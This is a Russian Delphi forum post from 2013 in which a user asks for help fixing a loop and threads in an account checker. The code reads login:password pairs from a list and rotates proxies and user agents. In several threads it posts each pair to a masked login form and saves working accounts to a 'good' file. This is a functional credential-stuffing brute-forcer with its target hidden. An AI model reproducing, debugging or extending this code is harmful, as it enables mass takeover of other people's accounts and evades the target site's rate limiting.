
16.06.2013, 12:34
|
Прохожий
|
|
Регистрация: 16.06.2013
Сообщения: 2
Версия Delphi: delphi xe3
Репутация: 10
|
|
Помогите с циклом и потоками
Вот кусок кода
Код:
function TForm1.CheckAcc(login, passw, proxy, pport: string): integer;
var HTTP:TidHTTP; send:TStringList; pg:string;
begin
HTTP:=TIdHTTP.Create(nil); //создаём компонент
with HTTP do begin //устанавливаем настройки
AllowCookies:=true; //включаем куки
HandleRedirects:=false; //Запрещаем редирект на страницу
ReadTimeout:=10000; //Тайм аут на соединение (типо чекер прокси)
ProxyParams.ProxyServer:=proxy; //Присваиваем прокси хост
ProxyParams.ProxyPort:=StrToInt(pport); //Присваиваем прокси порт
randomize; //Рандомизируем числа
Request.UserAgent:=UserAg[random(10)]; // Присваиваем User Agent (типо мы через браузер заходим)
end;
//формируем параметры для POST запроса
Send:=TStringList.Create;
Send.Add('loginForm_default_username='+login);
Send.Add('loginForm_default_password='+passw);
Send.Add('loginForm_default_login_submit=Вход');
try //Перехват ошибок которые могут возникнуть во время отправки запроса
HTTP.Request.Referer:='**********';
pg:=HTTP.Post('***********', send); //Отправляем запрос
result:=2;
if pos('serverSelection' ,pg)<>0 then begin
result:=1;
end
else
result:=2;
except
if pos('serverSelection' ,pg)<>0 then begin
result:=0;
end;
end;
Send.Free; //Удаляем созданные ранее переменные
HTTP.Free; //Удаляем созданные ранее компоненты
end;
constructor TBruteThread.Create(CreateSuspended: boolean);
begin
inherited Create(CreateSuspended);
end;
procedure TBruteThread.Execute;
var rez:integer; ps, pp, slog, spass, sacc:string;
begin
while work do begin //цикл будет длится до тех пор, пока work=true
inc(tp); //Увеличиваем переменную TP на 1, если записать так inc(tp, 2) то увеличится на 2
if tp=ProxyList.Count-1 then tp:=0; //Если конец списка, то идём с начала
ps:=Copy(ProxyList[tp], 1, Pos(':',ProxyList[tp])-1); //Копируем адрес
pp:=Copy(ProxyList[tp], Pos(':', ProxyList[tp])+1, Length(ProxyList[tp])); //Копируем порт
sacc:=SourceList[0]; //Берём первый аккаунт
SourceList.Delete(0); //Удаляем первый аккаунт дабы не засорял список.
if SourceList.Count=0 then work:=false; //Если всё прошли то вырубаем цикл
if pos(':', sacc)<>0 then begin //Если разделитель такой то
slog:=Copy(sacc, 1, Pos(':',sacc)-1); //Копируем логин
spass:=Copy(sacc, Pos(':', sacc)+1, Length(sacc)); //Копируем пароль
end else begin //иначе
slog:=Copy(sacc, 1, Pos(';',sacc)-1);
spass:=Copy(sacc, Pos(';', sacc)+1, Length(sacc));
end;
//Дабы не писать всё тут - лучше создать отдельную функцию (можно даже в потоке)
rez:=Form1.CheckAcc(slog, spass, ps, pp); //Вызываем функцию и результат записываем в переменную rez
case rez of //Открываем переменную
0:begin //Если в переменной 0 то
//Добавляем аккаунт в конец списка что бы потом проверить ещё раз.
SourceList.Add(slog+';'+spass);
Form1.ErrorLabel.Caption:=IntToStr(StrToInt(Form1.ErrorLabel.Caption)+1); //Увеличиваем Label с кол-вом ошибок
end;
1:begin //Если в переменной 1 то
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.GoodLabel.Caption)+1); //Увеличиваем Label с кол-вом гудов
Append(GoodFile); //открываем файл
Writeln(GoodFile, slog+';'+spass); //Добавляем строчку (знакомо с паскаля)
Closefile(GoodFile); //Закрываем файл
Form1.LogMemo.Lines.Add(slog+';'+spass); //Выводим аккаунт
Form1.Proc.Progress:=Form1.Proc.Progress+1; //отображаем процесс
end;
2:begin //Если в переменной 2 то
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.BadLabel.Caption)+1); //Увеличиваем Label с кол-вом bad'ов
Form1.Proc.Progress:=Form1.Proc.Progress+1; //Продвигаемся =)
end;
end;
end;
Form1.LogMemo.Lines.Add('Success!'); //Если цикл закончился то выводим сообщение
end;
procedure TForm1.Button3Click(Sender: TObject);
var i:integer;
begin
tp:=-1; //Начинаем с первого прокси, ставим -1 т.к. будет inc() в начале
work:=true; //Включаем цикл
proc.MaxValue:=SourceList.Count-1; //Присваиваем общие кол-во аккаунтов
for I := 1 to spinedit1.Value do
begin
setlength(myt,i+1);
myt[i]:=TBruteThread.Create(False);
myt[i].Priority:=tpNormal;
myt[i].FreeOnTerminate:=true;
myt[i].Resume;
end;
end;
Так вот :
Цикл while заканчивает свою работу сам . Я его уже убирал .
Ставил for i:=0 to form1.liens.count -1 , а там было 900 строк и он не смог проверить даже 100 аккаунтов .Я уже не знаю , что делать
Кто желает помочь , то можно в скайп : klevakin.tema
|